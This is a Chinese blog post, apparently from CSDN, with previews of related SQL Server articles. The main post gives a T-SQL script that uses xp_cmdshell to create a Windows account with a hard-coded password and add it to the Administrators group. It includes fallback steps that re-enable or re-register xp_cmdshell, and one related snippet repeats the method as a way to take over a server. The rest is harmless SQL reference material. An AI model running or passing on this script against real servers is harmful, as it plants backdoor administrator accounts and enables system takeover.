通过SQL SERVER添加系统管理员帐号

通过SQL SERVER添加系统管理员帐号,当然是需要有足够的权限,远程链接数据库后执行脚本,脚本如下:

/*
此代码是在master数据库下运行
增加系统管理员:mmcgzs 密码:123qwe!@#
*/
xp_cmdshell 'net user mmcgzs 123qwe!@# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'

/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go

/*
如果上面的不好使,使用下面这个命令后在使用上面的
*/
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

希望以上分享对初学朋友有些帮助,谢谢!
更多关注付义方技术博客:http://blog.csdn.net/fuyifang
或者直接用手机扫描二维码查看更多博文:

时间: 2024-09-24 08:29:34

通过SQL SERVER添加系统管理员帐号的相关文章

SQL Server 2000系统数据类型

MS SQL Server 2000系统数据类型:(来源于SQL查询分析器) 1bigint        从 -2^63 到 2^63-1 之间的 integer (整数)数据 2binary        定长的binary数据,最长为8,000字节 3bit        integer数据,值为1或0 4char        定长的非unicode character数据,长度为8,000个字符 5cursor        含有对游标的引用的变量或存储过程OUTPUT参数所采用的数据

通过sql server添加系统管理员

server|管理员 如果我们有某服务器sql server的管理员权限,如果服务器没有做特殊限制的话,我们可以轻松的在这台服务器上添加系统管理员用户. 方法,打开查询分析器,连接到服务器sql server的master库,执行如下SQL语句 xp_cmdshell 'net user mmcgzs 123qwe!@# /add'xp_cmdshell 'net localgroup administrators mmcgzs /add' 使用完以后删除 xp_cmdshell 'net lo

SQL SERVER 2000系统支持的跟踪函数

server|函数 你们大部分人可能已经在SQL SERVER中建立自己的用户定义函数(UDF),但是你知道么?微软公司已经集成了大量自己的UDFs,特别是在最新发布的SP3中.在这篇文章中 Baya Pavliashvili和Kevin Kline系统地研究了关于SQL SERVER跟踪部分的UDF.你们中的一些人也许想阅读以前SQL Server Professional的一篇关于传统UDFs的文章,比如Andrew Zanevsky's 2000年9月的专栏 ("Granting Wish

SQL Server的系统表格sysobjects

关于SQL Server数据库的一切信息都保存在它的系统表格里.我怀疑你是否花过比较多的时间来检查系统表格,因为你总是忙于用户表格.但是,你可能需要偶尔做一点不同寻常的事,例如数据库所有的触发器.你可以一个一个地检查表格,但是如果你有500个表格的话,这可能会消耗相当大的人工. 这就让sysobjects表格有了用武之地.虽然我不建议你更新这个表格,但是你当然有权对其进行审查. 在大多数情况下,对你最有用的两个列是sysobjects.name和sysobjects.xtype.前面一个用来列出

sql server 修改系统密码后不能启动

  SQL Server 1069 错误(由于登录失败而无法启动服务)解决方法 1.我的电脑--控制面板--管理工具--服务--右键MSSQLSERVER--属性--登陆--登陆身份--选择"本地系统帐户" 2.我的电脑--控制面板--管理工具--服务--右键MSSQLSERVER--属性--登陆--登陆身份--选择"此帐户"--密码和确认密码中输入你修改后的administrator密码. 两者的区别: 选择第一种方式,以后修改了administrator密码,不

SQL Server 移动系统数据库_mssql2005

说到这个问题,基本上有人就会想到三个问题: 1,什么是系统数据? 2,为什么要移动系统数据库? 3,移动系统数据库我们可以用附加和分离,为什么还要单独拿出来说呢? 对于这三个问题我一个一个讲吧,也算是自己做个笔记. 1,什么是系统数据? 所谓系统数据库就是我们在装SQL Server之后,系统自带的数据库(这样的回答是不是很白痴^_^). 如果你装SQL Server2005或2008在打开一个SQL实例后,就会看到一个数据库--->系统数据库文件夹,里边就是系统自带的数据库,如图: 对于每一个

sql server 获取系统时间的方法_MsSql

Sql Server 中一个非常强大的日期格式化函数: 获得当前系统时间,GETDATE(): 2008年01月08日 星期二 14:59 Select CONVERT(varchar(100), GETDATE(), 0): 05 16 2008 10:57AM Select CONVERT(varchar(100), GETDATE(), 1): 05/16/08 Select CONVERT(varchar(100), GETDATE(), 2): 08.05.16 Select CONV

sql server 获取系统时间的方法

Sql Server 中一个非常强大的日期格式化函数: 获得当前系统时间,GETDATE(): 2008年01月08日 星期二 14:59 Select CONVERT(varchar(100), GETDATE(), 0): 05 16 2008 10:57AM Select CONVERT(varchar(100), GETDATE(), 1): 05/16/08 Select CONVERT(varchar(100), GETDATE(), 2): 08.05.16 Select CONV

使用 SQL Server 添加删除修改查询储存过程

  --添加 create procedure usp_add ( @table nvarchar(255), @values nvarchar(max)=null ) as declare @sql nvarchar(max) set @sql='insert into '+@table if @values is not null set @sql='insert into '+@table+' values('+@values+')' exec sp_executesql @sql sel